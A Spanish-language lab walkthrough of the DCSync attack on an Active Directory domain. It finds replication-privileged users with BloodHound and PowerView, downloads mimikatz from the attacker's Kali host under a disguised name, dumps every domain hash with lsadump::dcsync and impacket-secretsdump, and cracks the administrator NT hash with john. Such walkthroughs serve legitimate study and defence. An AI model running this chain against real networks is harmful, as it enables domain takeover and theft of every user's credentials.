DCSync


DSYNC

Dentro de un dominio puede haber varios controladores de dominio y es lo recomendado para poder acceder a la información y no resida solo en un sistema por seguridad anti perdida o servicio.

Si se desean mantener varios sistemas con una base de datos sincronizada windows proporciona un protocolo a través del cual un controlador o usuario puede hacer peticiones a otro controlador para obtener la información y actualizar su base de datos.

Este ataque aprovecha esto para hacer peticiones como si fuesemos otro controlador de dominio y así que el controlador de dominio original nos mande información sobre los usuario y datos de la base de datos.

Para esto en BloodHound tenemos :

images/24-1.png

images/24-2.png

Como vemos hay varios grupos que tienen estos privilegios debido a que por defecto hay algunos grupos que traen esta configuración por defecto.

Mediante PowerView:


Get-ObjectAcl -ResolveGUIDs | ? {$_.ObjectAceType -match "DS-Replication-Get-Changes"} | select ObjectDN,ObjectAceType,@{name="name";expression={Convert-SidToName $_.SecurityIdentifier}}

images/24-3.png

Vamos a usar a el usuario brooks.aileen ya que pertenece a ITadmins y de ahí hereda el permiso de DCSYNc

Para poder replicar los datos:

Una herramienta muy popular pero a la vez posiblemente detectada por los sistemas de seguridad es mimikatz.

https://github.com/gentilkiwi/mimikatz

Descargamos la release en kali y ahora la pasamos al equipo WS01.


python2 -m SimpleHTTPServer


(New-Object System.NET.WebClient).DownloadFile("http://192.168.20.128:8000/mimikatz.exe", "gato.exe")

Esto obviamente será detectado por windows defender, más adelante se aplicarán técnicas para evadir la seguridad,

Para este ejemplo vamos a desactivar el antivirus de forma temporal.

Necesitamos el acceso brooks.aileen para poder recabar la información pero esta vez necesitamos que los privilegios sean remotos y locales por lo que una cosa que debemos hacer es llevar el archivo hasta un lugar donde brooks.aileen pueda ejecutarlo.


runas /user:corp\brooks.aileen powershell

Ejecutamos Mimikatz.exe


.\gato.exe


lsadump::dcsync /user:corp\administrador

Donde el apartado administrador será el nombre del usuario que queramos dumpear.

images/24-4.png

Todo esto se puede ejecutar de forma remota desde Kali con las herramientas de Impacket:


impacket-secretsdump -just-dc brooks.aileen:"Aileen"@192.168.20.5

Obtenemos todos los hashes de todos los usuarios de la base de datos del dominio.

Incluido el del administrador:

Administrador:500:aad3b435b51404eeaad3b435b51404ee:a87f3a337d73085c45f9416be5787d86:::

Lo guardamos en un hash


echo Administrador:500:aad3b435b51404eeaad3b435b51404ee:a87f3a337d73085c45f9416be5787d86::: > admin.hash

Y lo podemos crackear.


john --format=NT admin.hash

images/24-5.png